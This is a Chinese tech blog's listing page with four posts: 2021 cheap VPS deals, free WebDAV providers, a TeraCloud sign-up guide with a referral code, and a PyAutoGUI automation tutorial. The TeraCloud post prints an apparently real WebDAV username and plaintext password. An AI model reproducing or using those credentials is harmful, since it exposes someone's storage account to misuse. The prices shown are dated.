1C2G5M指的是:1核CPU,2G内存,5M带宽1.国内服务器腾讯云双十一,1C2G6M,58元/年 (约4.8元/月);2C4G8M,70元/年(约5.8元/月),198元/3年(约5.5元/月)。阿里云双十一: 2核2G 5M,60元/年(约5元/月);2核4G 5M,200元/3年(约5.5元/月)。UCloud双十一: 1核2G,128元/3年(约3.6元/月);2核4G,323元/3年(约8.9元/月)。阿里云学生机,1C2G5M,9.5元/月,阿里云ECS/轻量应用云。 24岁以下免学生认证。阿里云小站,2C2G5M,60元/年(约5元/月)。阿里云轻量应用服务器,香港/新加坡2C2G30M,408元/年(约34元/月);国内2C2G5M,60元/年。腾讯云学生机,1C2G6M,108元/年,只有三次续费机会建议直接买一年。腾讯云每日秒杀,1核2G6M,99元/年(约8元/月),297元/3年。华为云,学生机1C1G1M,9元,24岁以下免学生认证;。2.国外服务器2.1 FranTech访问地址:https://my.frantech.ca/cart.php配置1GB DDR4 RAM1 CPU Core @ 3.9Ghz+20GB NVME Storage1 IPv4 + /48 IPv61000Mbit Unmetered BW价格:$3.50/月流量限制:无2.2 vultr访问地址:https://www.vultr.com/products/cloud-compute/配置1 CPU1 GB Memory1 TB Bandwidth1 IPv4 + /64 IPv6 Address价格:$5/月$0.007/小时流量限制:1T2.3 spartanhost(经常缺货)访问地址:https://spartanhost.org/vps配置512MB Memory25GB Disk Space1500GB Transfer @ 1Gb/s1 vCore Processor1 IPv4 + /64 IPv6 Address价格:$3/月流量限制:1T参考资料高性价比和便宜的VPS/云服务器推荐 2021/11/2更新
2021年12月07日
627 阅读
0 评论
0 点赞
2021-12-06
免费的webdav资源汇总-可用于vps硬盘扩容
厂家/提供方官网地址免费容量Webdav挂载地址Teracloudhttps://teracloud.jp/10G/20G(填邀请码XYPB6)https://seto.teracloud.jp/dav/4sharedhttp://www.4shared.com/15Ghttps://webdav.4shared.comBoxhttps://www.box.com/10Ghttps://dav.box.com/davDriveHQhttps://www.drivehq.com/5Ghttp://www.drivehq.com/webdav/XXXXXXiDriveSynchttps://www.idrivesync.com/5Ghttps://dav.idrivesync.com/zotero坚果云https://www.jianguoyun.com/流量限制https://dav.jianguoyun.com/dav/参考资料2020年还有哪些支持WebDAV的网盘?
2021年12月06日
752 阅读
0 评论
0 点赞
2021-11-30
[TeraCloud] 免费获取20GB的WebDAV--vps硬盘扩容
1.注册TeraCLOUD得10GBTeraCloud是一家日本的WebDAV商,目前有活动,你可以免费获得20GB的WebDAV空间,可以说是非常超值了。注册链接:https://account.teracloud.jp/RegistForm.php/index/。注册完成然后就可以登陆进个人中心了,并且获得了10GB的WebDAV空间。2.填写邀请码获取赠送的10GB首先进入个人中心 https://teracloud.jp/ja/modules/mypage/usage/拉到下方“紹介ボーナス情報”。把邀请码XYPB6填进去然后猛戳“コード適用”,邀请方和被邀请方都能获得10GB空间,互利共赢。需要注意的是,如果您使用的是免费帐户,并且连续超过90天未登录,则TeraCLOUD上的帐户和数据将被删除,所以一定要记得每过一段时间就登录一次哦!3.使用web进行文件管理访问地址:https://seto.teracloud.jp/browser/4.开启并使用webdav挂载首先进入个人中心 https://teracloud.jp/ja/modules/mypage/usage/点击Turn on Apps Connection。首次开启会显示webdav的连接密码,注意保存。然后使用对应的信息即可进行webdav的挂载使用。上述结果实例webdav地址:https://seto.teracloud.jp/dav/ username:jupiteradam password:uiVRoXQ9JdrqCykz
2021年11月30日
1,591 阅读
0 评论
0 点赞
2021-10-29
PyAutoGUI—通过python控制鼠标与键盘实现图形界面自动化
简介基本信息PyAutoGUI是一个Python语言的键鼠自动化库,简单来说和按键精灵的功能一样。但是因为是Python的类库,所以可以使用Python代码配合一些其他类库完成更加强大的功能坐标轴系统pyautogui的鼠标函数使用x,y坐标,原点在屏幕左上角,向右x坐标增加,向下y坐标增加,所有坐标都是正整数,没有负数坐标。如图所示:功能使用1.获取屏幕宽高pyautogui.size() #返回屏幕宽高像素数的元组 #例如,如果屏幕分辨率为1920*1080,那么左上角的坐标为(0,0), #右下角的坐标是(1919,1079)2.控制鼠标确定鼠标当前位置pyautogui.position() #确定鼠标当前位置,返回x,y坐标的元组移动pyautogui.moveTo(x,y[,duration = t]) # 将鼠标移动到屏幕指定位置, #x,y是目标位置的横纵坐标,duration指定鼠标光标移动到目标位置 #所需要的秒数,t可以为整数或浮点数,省略duration参数表示 #立即将光标移动到指定位置(在PyAutoGUI函数中,所有的duration #关键字参数都是可选的) #Attention:所有传入x,y坐标的地方,都可以用坐标x,y #的元组或列表替代,(x,y)/[x,y] pyautogui.moveRel(x,y[,duration = t]) #相对于当前位置移动光标, #这里的x,y不再是目标位置的坐标,而是偏移量, #如,pyautogui.moveRel(100,0,duration=0.25) #表示光标相对于当前所在位置向右移动100个像素点击:按下鼠标按键,然后放开,同时不移动位置pyautogui.mouseDown() #按下鼠标按键(左键) pyautogui.mouseUp() #释放鼠标按键(左键) pyautogui.click() #向计算机发送虚拟的鼠标点击(click()函数只是前面两个函数调用的方便封装) #默认在当前光标位置,使用鼠标左键点击 pyautogui.click([x,y,button='left/right/middle']) #在(x,y)处点击鼠标左键、右键、中键 #但不推荐使用这种方法,下面这种方法效果更好 #pyautogui.moveTo(x,y,duration=t) #pyautogui.click() pyautogui.doubleClick() #双击鼠标左键 pyautogui.rightClick() #单击鼠标右键 pyautogui.middleClick() #单击鼠标中键拖动:按住一个键不放,同时移动鼠标pyautogui.dragTo(x,y[,duration=t) #将鼠标拖动到指定位置 #x,y:x坐标,y坐标 pyautogui.dragRel(x,y[,duration=t]) #将鼠标拖动到相对当前位置的位置 #x,y:水平移动,垂直移动滚动pyautogui.scroll() #控制窗口上下滚动(滚动发生在鼠标的当前位置) #正数表示向上滚动,负数表示向下滚动, #滚动单位的大小需要具体尝试3.控制键盘输入字符串pyautogui.typewrite(s[,duration=t]) #向文本框发送字符串 #可选的duration参数在输入单个字符之间添加短暂的时间暂停 #Attention:只能用于输入英文输入键字符串不是所有的键都很容易用单个文本字符来表示。例如,如何把Shift键或左箭头键表示为单个字符串?在PyAutoGUI中,这些键表示为短的字符串值,如'esc'表示Esc键,'enter'表示Enter,我们把这些字符串称之为键字符串。pyautogui.typewrite([键盘键字符串]) #除了单个字符串,还可以向typewrite()函数传递键字符串的列表 #如 pyautogui.typewrite(['a','b','left','left','X','Y']) #按'a'键,'b'键,然后按左箭头两次,然后按'X'和'Y' #输出结果为XYab pyautogui.keyDown() #根据传入的键字符串,向计算机发送虚拟的按键(按下) pyautogui.keyUp() #根据传入的键字符串,向计算机发送虚拟的释放(释放) pyautogui.press() #前面两个函数的封装,模拟完整的击键(按下并释放)举例:pyautogui.keyDown('shift');pyautogui.press('4');pyautogui.keyUp('shift') #按下Shift,按下并释放4,然后释放Shift完整的键字符串如下:键盘键字符串 含义 'a','b','c','A','C','1','2','3', 单个字符的键 '!','@','#'等 'enter' 回车 ‘esc' ESC键 'shiftleft','shiftright' 左右Shift键 'altleft','altright' 左右Alt键 'ctrlleft','ctrlright' 左右Ctrl键 ‘tab'(or '\t') Tab键 'backspace','delete' Backspace键和Delete键 'pageup','pagedown' Page Up 和Page Down键 'home','end' Home键和End键 'up','down','left','right' 上下左右箭头键 'f1','f2','f3'等 F1至F12键 'volumemute','volumeup',volumedown' 静音,放大音量和减小音量键 'pause' 暂停键 'capslock','numlock','scrolllock' Caps Lock,Num Lock和 Scroll Lock键 'insert' Insert键 'printscreen' Prtsc或Print Screen键 'winleft','winright' 左右Win键(在windows上) 'command' Command键(在OS X上) 'option' Option键(在OS X上)快捷键组合pyautogui.hotkey() #接收多个字符串参数,顺序按下,再按相反的顺序释放举例:pyautogui.hotkey('ctrl','c') #按住Ctrl键,然后按C键,然后释放C键和Ctrl键 相当于 pyautogui.keyDown('ctrl') pyautogui.keyDown('c') pyautogui.keyUp('c') pyautogui.keyUp('ctrl')参考资料Python键鼠操作自动化库PyAutoGUI简介PyAutoGUI——图形用户界面自动化
2021年10月29日
599 阅读
0 评论
0 点赞
1
2
3
4